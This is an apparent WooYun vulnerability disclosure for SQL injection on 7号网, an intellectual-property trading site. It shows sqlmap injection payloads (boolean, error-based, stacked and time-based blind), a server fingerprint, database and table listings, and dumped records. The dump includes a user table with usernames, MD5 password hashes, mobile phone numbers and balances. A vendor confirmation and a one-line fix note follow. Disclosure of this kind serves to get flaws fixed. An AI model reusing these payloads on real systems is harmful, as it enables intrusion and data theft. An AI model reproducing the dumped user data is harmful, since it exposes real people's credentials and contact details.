漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0166862
漏洞标题：7号网-首家知识产权交易与管理平台全网数据沦陷#三百万交易记录测漏
相关厂商：深圳市前海七号网络科技有限公司
漏洞作者： 路人甲
提交时间：2016-01-03 09:44
修复时间：2016-02-20 15:48
公开时间：2016-02-20 15:48
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(广东省信息安全测评中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-01-03： 细节已通知厂商并且等待厂商处理中
2016-01-07： 厂商已经确认，细节仅向厂商公开
2016-01-17： 细节向核心白帽子及相关领域专家公开
2016-01-27： 细节向普通白帽子公开
2016-02-06： 细节向实习白帽子公开
2016-02-20： 细节向公众公开
简要描述：
7号网-首家知识产权交易与管理平台全网数据沦陷#三百万交易记录测漏
详细说明：
http://**.**.**.**/buy/show_list.html?type=1 (GET)
漏洞证明：
---
Place: GET
Parameter: type
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=1) AND 2370=2370 AND (4924=4924
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: type=1) AND (SELECT 2533 FROM(SELECT COUNT(*),CONCAT(0x71786a6d71,(SELECT (CASE WHEN (2533=2533) THEN 1 ELSE 0 END)),0x7162716571,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (1118=1118
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: type=1); SELECT SLEEP(5)--
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: type=1) AND SLEEP(5) AND (7106=7106
---
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0
available databases [6]:
[*] information_schema
[*] mall
[*] mysql
[*] performance_schema
[*] qihaoip
[*] qstmgood
Database: qstmgood
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| ttm05 | 615443 |
| ttm03 | 532564 |
| ttm07 | 526923 |
| ttm06 | 337435 |
| ttm01 | 313101 |
| ttm09 | 187000 |
| ttm02 | 153817 |
| ttm08 | 119426 |
| ttm04 | 103942 |
| ttm11 | 10 |
| ttm12 | 10 |
| ttm13 | 10 |
+---------------------------------------+---------+
Database: mall
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| qh_item | 18608 |
| qh_tm_item | 9569 |
| qh_user_trade | 2151 |
| qh_member | 944 |
| qh_jifenlog | 786 |
| qh_article | 626 |
| qh_tm_class | 497 |
| qh_city | 345 |
| qh_items | 199 |
| qh_telmsg | 183 |
| qh_email | 177 |
| qh_ad | 119 |
| qh_orderlog | 119 |
| qh_supply | 104 |
| qh_keywords | 78 |
| qh_order | 61 |
| qh_orders | 55 |
| qh_link | 53 |
| qh_tm_sup_class | 45 |
| qh_cart | 41 |
| qh_ads | 36 |
| qh_province | 34 |
| qh_person | 31 |
| qh_menu | 30 |
| qh_shop | 29 |
| qh_articles | 26 |
| qh_company | 20 |
| qh_config | 20 |
| qh_shopad | 19 |
| qh_links | 10 |
| qh_favorite | 8 |
| qh_menus | 8 |
| qh_moneylog | 8 |
| qh_admin | 7 |
| qh_configs | 7 |
| qh_members | 6 |
| qh_jifen | 5 |
| qh_orderstyle | 5 |
| qh_nowtest | 2 |
| qh_emailstyle | 1 |
| qh_telmsgstyle | 1 |
+---------------------------------------+---------+
Database: qihaoip
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| qh_tm_item | 9569 |
| qh_patent_housekeeper | 9167 |
| qh_patent_member | 8992 |
| qh_region | 3542 |
| qh_user_trade | 2152 |
| qh_user | 806 |
| qh_tm_class | 497 |
| qh_admin_action_log | 124 |
| qh_node | 73 |
| qh_tm_sup_class | 45 |
| qh_article | 18 |
| qh_delivery | 10 |
| qh_notify_template | 10 |
| qh_adv_position | 8 |
| qh_zone | 8 |
| qh_user_group | 5 |
| qh_auto | 4 |
| qh_msg_template | 4 |
| qh_article_category | 3 |
| qh_admin_user | 2 |
| qh_navigation | 2 |
| qh_admin_auth_group | 1 |
| qh_adv | 1 |
| qh_no_login | 1 |
| qh_plugin | 1 |
| qh_print_tpl_parcel | 1 |
+---------------------------------------+---------+
back-end DBMS: MySQL 5.0
Database: qihaoip
Table: qh_user
[8 entries]
+----+---------+----------+-----------+------------+----------+-----+---------+---------+-----+------+----------------------+--------+---------+------------+----------+----------+----------------------------------+----------------+-----------+-----------+-----------+------------+------------+------------+------------+-------------+--------------+--------------+--------------+--------------+------------------+
| id | valid | group_id | parent_id | address_id | qq | sex | ico | msn | exp | sort | email | status | answer | reg_time | question | birthday | password | username | true_name | email_msg | repwd_key | last_login | home_phone | user_money | pay_points | norder_keys | freeze_money | mobile_phone | last_session | office_phone | mobile_phone_msg |
+----+---------+----------+-----------+------------+----------+-----+---------+---------+-----+------+----------------------+--------+---------+------------+----------+----------+----------------------------------+----------------+-----------+-----------+-----------+------------+------------+------------+------------+-------------+--------------+--------------+--------------+--------------+------------------+
| 1 | <blank> | 5 | 39 | 0 | NULL | 0 | <blank> | 0 | 0 | 100 | 21556911@**.**.**.** | 1 | <blank> | 1424670373 | <blank> | 0 | f3f550ff2efaeecbb920973d091467d6 | 7hipadmin | 0 | 2 | <blank> | 127 | <blank> | 454.80 | 0 | <blank> | 0.00 | 13726259173 | <blank> | <blank> | 2 |
| 2 | <blank> | 5 | 2 | 0 | 21556911 | 0 | <blank> | 0 | 0 | 100 | br001@**.**.**.** \t | 1 | <blank> | 1424671118 | <blank> | 0 | 9a213f5bcd2e4f13bb73cf9099146483 | 7hip | 0 | 2 | <blank> | 127 | <blank> | 999.90 | 0 | <blank> | 0.00 | 13726259173 | <blank> | <blank> | 1 |
| 3 | <blank> | 5 | 39 | 0 | <blank> | 0 | <blank> | <blank> | 0 | 100 | luoqs@**.**.**.** | 1 | <blank> | 1424678733 | <blank> | 0 | ff92a240d11b05ebd392348c35f781b2 | aiens | 宁夏 | 2 | <blank> | 1431276169 | <blank> | 655.00 | 0 | <blank> | 0.00 | 18877665599 | <blank> | <blank> | 1 |
| 7 | <blank> | 5 | 39 | 0 | NULL | 0 | <blank> | 0 | 0 | 100 | eips@**.**.**.** | 1 | <blank> | 1431322971 | <blank> | 0 | 0aaf3f94e243777b989d0bbe8cf0eb5f | haiguo | 0 | 2 | <blank> | 127 | <blank> | 0.00 | 0 | <blank> | 0.00 | 0 | <blank> | <blank> | 2 |
| 8 | <blank> | 5 | 39 | 0 | <blank> | 0 | <blank> | <blank> | 0 | 100 | gaoxs@**.**.**.** | 1 | <blank> | 1431571182 | <blank> | 0 | 5dca023c95e81f2f9e9b8aaa863be57d | liqingyun | <blank> | 2 | <blank> | 1433296421 | <blank> | 0.00 | 0 | <blank> | 0.00 | <blank> | <blank> | <blank> | 2 |
| 9 | <blank> | 5 | 39 | 0 | <blank> | 0 | <blank> | <blank> | 0 | 100 | 1328105835@**.**.**.** | 1 | <blank> | 1431572751 | <blank> | 0 | 5dca023c95e81f2f9e9b8aaa863be57d | gaoxiaomeng | <blank> | 2 | <blank> | 1431941639 | <blank> | 0.00 | 0 | <blank> | 0.00 | <blank> | <blank> | <blank> | 2 |
| 10 | <blank> | 5 | 39 | 0 | <blank> | 0 | <blank> | <blank> | 0 | 100 | 1355499364@**.**.**.** | 1 | <blank> | 1431577193 | <blank> | 0 | 5dca023c95e81f2f9e9b8aaa863be57d | chuangwei | 李先生 | 2 | <blank> | 1432526056 | <blank> | 0.00 | 0 | <blank> | 0.00 | <blank> | <blank> | <blank> | 2 |
| 14 | <blank> | 5 | 34 | 0 | <blank> | 0 | <blank> | <blank> | 0 | 100 | lixin@**.**.**.** | 1 | <blank> | 1431679080 | <blank> | 0 | 5dca023c95e81f2f9e9b8aaa863be57d | shenzhenshifan | <blank> | 2 | <blank> | 1431679080 | <blank> | 0.00 | 0 | <blank> | 0.00 | <blank> | <blank> | <blank> | 2 |
+----+---------+----------+-----------+------------+----------+-----+---------+---------+-----+------+----------------------+--------+---------+------------+----------+----------+----------------------------------+----------------+-----------+-----------+-----------+------------+------------+------------+------------+-------------+--------------+--------------+--------------+--------------+------------------+
Table: ttm05
[10 entries]
+-----------------------------------------------------+---------+-----------+-----------+-----------+----------------------------------------------------------------------------------------------------------------------+------+------+------+----------------------+---------+------------------+-------+--------+-------+--------------------------------------+-------+----------------------------------------------------------------------+---------+---------+-------+--------------------------------------+---------------+-------------------------------+--------+--------+--------+--------+--------+--------+--------+---------+--------+--------+--------+--------+--------+----------+---------+----------+----------+---------+----------+----------+----------+----------+----------+----------+
| fTMID | fUserID | fBGUserID | fXGUserID | fTMTYPEID | fBZ | fBGQ | fZCQ | fGGQ | fSPZB | fTMSZ | fDLZZ | fCSYM | fArea | fZDYS | fAddr | fSBLX | fSYSP | fSFGY | fTMPY | fZCYM | fSQR1 | fSQR3 | fSQR2 | fBGBZ3 | fBGBZ2 | fBGBZ1 | fBGQH2 | fBGQH3 | fBGQH1 | fBGQH4 | fTMENG | fTMJPM | fBGYM4 | fBGYM1 | fBGYM3 | fBGYM2 | fJZDATE | fTMCHIN | fCSDATE | fSQDATE | fTMHEAD | fZCDATE | fTMSZALB | fBGDATE1 | fBGDATE3 | fBGDATE2 | fBGDATE4 |
+-----------------------------------------------------+---------+-----------+-----------+-----------+----------------------------------------------------------------------------------------------------------------------+------+------+------+----------------------+---------+------------------+-------+--------+-------+--------------------------------------+-------+----------------------------------------------------------------------+---------+---------+-------+--------------------------------------+---------------+-------------------------------+--------+--------+--------+--------+--------+--------+--------+---------+--------+--------+--------+--------+--------+----------+---------+----------+----------+---------+----------+----------+----------+----------+----------+----------+
| \x13\x06\\?c6\x10\\?cej\\?a9\\?cdp\\?d1=\\?d3V\\?d5 | 17 | 102 | 0 | 0 | 总第789期；续展待审中[2011-09-21]\r\n第1300期P5391页续展注册公告,日期:2012.02.21 | 1343 | 0 | 789 | 0503|0504|0505| | <blank> | <blank> | 0 | 130124 | 1 | 河北省石家庄市栾城县城南口 | 1 | 净化剂,兽医用药,消灭有害动物制剂,消灭有害植物制剂 | 0 | <blank> | 0 | 神威药业集团有限公司[2013.01.14 第1343期变] | 石家庄神威药业股份有限公司 | 神威药业有限公司[2006.06.28 第1029期转] | 0 | 2 | 1 | 1029 | 0 | 1343 | 0 | <blank> | VIPUYT | 0 | 5351 | 0 | 1002 | 20210927 | 脂普乐 | 20010627 | 20000801 | <blank> | 20010928 | <blank> | 20130114 | <blank> | 20060628 | <blank> |
| \x13\x06\\?c6\x10\\?cej\\?a9\\?cdp\\?d1=\\?d3W\\?d5 | 0 | 100 | 0 | 0 | 总第789期\r\n第1337期P5778页未续展商标注销公告,日期:2012.11.28 | 1337 | 0 | 789 | 0501|0502| | <blank> | 北京金信立方知识产权代理有限公司 | 0 | 4401 | 1 | 广东广州市德安路1号之二10楼 | 1 | 医用营养饮料,医用营养品,医药制剂,原料药,生化药品,药油,治头皮屑药剂,药用植物根,维生素制剂,补药(药) | <blank> | <blank> | 0 | 广东东台医药有限公司 | <blank> | <blank> | 0 | 0 | 0 | 0 | 0 | 0 | 0 | WEAL | WZYI | 0 | 0 | 0 | 0 | 20110927 | 维益 | 20010627 | 20000721 | <blank> | 20010928 | <blank> | <blank> | <blank> | <blank> | <blank> |
| \x13\x06\\?c6\x10\\?cej\\?a9\\?cdp\\?d1=\\?d3Z\\?d5 | 0 | 100 | 0 | 0 | 总第789期\r\n第1337期P5778页未续展商标注销公告,日期:2012.11.28 | 1337 | 0 | 789 | 0505| | <blank> | 湖北华中商标事务所有限公司 | 0 | 420111 | 1 | 湖北武汉市洪山区珞狮路马家咀一号 | 1 | 杀害虫剂,灭幼虫剂,除草剂,杀昆虫剂 | <blank> | <blank> | 0 | 武汉绿鹰农用药业有限责任公司 | <blank> | <blank> | 0 | 0 | 0 | 0 | 0 | 0 | 0 | <blank> | GRKE | 0 | 0 | 0 | 0 | 20110927 | 冠克 | 20010627 | 20000828 | <blank> | 20010928 | <blank> | <blank> | <blank> | <blank> | <blank> |
| \x13\x06\\?c6\x10\\?cej\\?a9\\?cdp\\?d1=\\?d3[\\?d5 | 0 | 100 | 0 | 0 | 总第789期\r\n第1337期P5778页未续展商标注销公告,日期:2012.11.28 | 1337 | 0 | 789 | 0505| | <blank> | 湖北华中商标事务所有限公司 | 0 | 420111 | 1 | 湖北武汉市洪山区珞狮路马家咀一号 | 1 | 杀害虫剂,灭幼虫剂,除草剂,杀昆虫剂 | <blank> | <blank> | 0 | 武汉绿鹰农用药业有限责任公司 | <blank> | <blank> | 0 | 0 | 0 | 0 | 0 | 0 | 0 | <blank> | LVSIYT | 0 | 0 | 0 | 0 | 20110927 | 绿思乐 | 20010627 | 20000828 | <blank> | 20010928 | <blank> | <blank> | <blank> | <blank> | <blank> |
| \x13\x06\\?c6\x10\\?cej\\?a9\\?cdq\\?d10\\?d3Q\\?d5 | 0 | 102 | 0 | 0 | 总第789期；续展待审中[2011-06-27]；续展；续展完成[2011-08-05]\r\n第1280期P5551页续展注册公告,日期:2011.09.21\r\n第1284期P5685页续展注册公告,日期:2011.10.21 | 1284 | 0 | 789 | 0502|0503|0506|0507| | <blank> | 北京集佳知识产权代理有限公司 | 0 | 500105 | 0 | 重庆市江北区海尔路389号[2010.08.07 第1226期变] | 1 | 医用口香糖,消毒纸巾,牙用光洁剂,空气清新剂 | <blank> | <blank> | 0 | 重庆登康口腔护理用品股份有限公司[2002.07.28 第841期转] | <blank> | 重庆牙膏厂 | 0 | 0 | 0 | 0 | 0 | 0 | 1226 | <blank> | LGSRLY | 7258 | 0 | 0 | 0 | 20210927 | 冷酸灵 | 20010627 | 20000830 | <blank> | 20010928 | <blank> | <blank> | <blank> | <blank> | 20100807 |
| \x13\x06\\?c4\x10\\?cdj\\?af\\?cdq\\?d15\\?d3U\\?d5 | 0 | 102 | 1201 | 0 | 总第748期[第982期信息]\r\n第1240期P6316页续展注册公告,日期:2010.11.21 | 1240 | 0 | 748 | 0503|0504|0505|0506| | <blank> | 广东省商标事务所有限公司\r\n | 0 | 440111 | 0 | 广东广州市白云区江高镇塘贝地段荔湾经济开发区内 | 1 | 空气清新剂,杀害虫剂,兽用洗涤剂,卫生巾,消毒巾,救急包,医用胶布,蚊香,冰箱除臭剂(去味剂),空气净化制剂 | <blank> | <blank> | 0 | 广州市快尔日用品有限公司 | <blank> | <blank> | 0 | 0 | 0 | 0 | 0 | 0 | 0 | <blank> | KYER | 0 | 0 | 0 | 0 | 20201120 | 快尔 | 20000820 | 19990706 | <blank> | 20001121 | <blank> | <blank> | <blank> | <blank> | <blank> |
| \x13\x06\\?c4\x10\\?cdj\\?af\\?cdq\\?d15\\?d3V\\?d5 | 13 | 102 | 1201 | 0 | 总第748期[第982期信息]\r\n第1240期P6316页续展注册公告,日期:2010.11.21 | 1240 | 0 | 748 | 0501|0502| | <blank> | 广东省商标事务所有限公司\r\n | 0 | 44 | 0 | 广东市花都区新华镇东秀一横路9号[2010.01.14 第1199期变] | 1 | 人用药,各种针剂,片剂,胶丸,各种丸,生化药品,原料药,水剂,中药成药,补药(药) | <blank> | <blank> | 0 | 广州柏赛罗药业有限公司[2010.01.14 第1199期变] | <blank> | 广州贝氏药业有限公司 | 0 | 0 | 1 | 0 | 0 | 1199 | 1199 | <blank> | HSHS | 5424 | 5424 | 0 | 0 | 20201120 | 红红 | 20000820 | 19990706 | <blank> | 20001121 | <blank> | 20100114 | <blank> | <blank> | 20100114 |
| \x13\x06\\?c4\x10\\?cdj\\?af\\?cdq\\?d15\\?d3W\\?d5 | 0 | 102 | 0 | 0 | 总第748期[第982期信息]；续展待审中[2010-08-10]；续展完成[2011-03-01]\r\n第1260期P4757页续展注册公告,日期:2011.04.21 | 1260 | 0 | 748 | 0503|0506| | <blank> | 广州市华南商标事务所有限公司 | 0 | 4420 | 0 | 广东中山市西区沙朗金叶广场二十三街第三排9号 | 1 | 空气清新剂,净化剂,冰箱除臭剂(去味剂),卫生巾,消毒纸巾,药枕,医用保健袋,浸药液的卫生纸,失禁用尿布,卫生衬裤 | <blank> | MAIBAO | 0 | 中山市万和商贸有限公司 | <blank> | 中山市南城百货批发有发限公司 | 0 | 0 | 2 | 0 | 0 | 895 | 0 | <blank> | MLBK | 0 | 0 | 0 | 0 | 20201120 | 麦宝 | 20000820 | 19990705 | <blank> | 20001121 | <blank> | 20030914 | <blank> | <blank> | <blank> |
| \x13\x06\\?c4\x10\\?cdj\\?af\\?cdq\\?d15\\?d3Z\\?d5 | 0 | 100 | 0 | 0 | 总第748期[第982期信息]\r\n第1293期P5862页未续展商标注销公告,日期:2011.12.28 | 1293 | 0 | 748 | 0503| | <blank> | 北京集佳知识产权代理有限公司 | 0 | 440605 | 0 | 广东南海市里水洲村工业区 | 1 | 空气清新剂,空气净化剂,净化剂,非个人用除臭剂,除霉化学制剂,污物消毒剂,污物消毒制剂,厕所用化学消毒剂,冰箱除臭剂(去味),厕所除臭剂 | <blank> | <blank> | 0 | 南海市里水洲村里程汽车用品制造厂 | <blank> | 南海市城水洲村里程汽车用品制造厂 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | <blank> | IRTM | 0 | 0 | 0 | 0 | 20101120 | 川田 | 20000820 | 19990707 | <blank> | 20001121 | <blank> | <blank> | <blank> | <blank> | <blank> |
| \x13\x06\\?c4\x10\\?cdj\\?af\\?cdq\\?d15\\?d3[\\?d5 | 0 | 100 | 0 | 0 | 总第748期[第982期信息]\r\n第1293期P5862页未续展商标注销公告,日期:2011.12.28 | 1293 | 0 | 748 | 0503|0505|0506|0507| | <blank> | 广州市华南商标事务所有限公司 | 0 | 4420 | 0 | 广东中山市沙朗镇金叶广场1幢1号 | 1 | 空气清新剂,净化剂,杀害虫剂,卫生球,卫生巾,消毒纸巾,药枕,医用保健袋,牙填料,牙用光洁剂 | <blank> | FANGLIN | 0 | 中山市南城百货批发有限公司 | <blank> | <blank> | 0 | 0 | 0 | 0 | 0 | 0 | 0 | <blank> | FHLN | 0 | 0 | 0 | 0 | 20101120 | 芳琳 | 20000820 | 19990705 | <blank> | 20001121 | <blank> | <blank> | <blank> | <blank> | <blank> |
+-----------------------------------------------------+---------+-----------+-----------+-----------+----------------------------------------------------------------------------------------------------------------------+------+------+------+----------------------+---------+------------------+-------+--------+-------+--------------------------------------+-------+----------------------------------------------------------------------+---------+---------+-------+--------------------------------------+---------------+-------------------------------+--------+--------+--------+--------+--------+--------+--------+---------+--------+--------+--------+--------+--------+----------+---------+----------+----------+---------+----------+----------+----------+----------+----------+----------+
修复方案：
参数过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2016-01-07 10:51
厂商回复：
非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据：高
攻击成本：低
造成影响：高
综合评级为：高，rank：10
正在联系相关网站管理单位处置。
最新状态：
暂无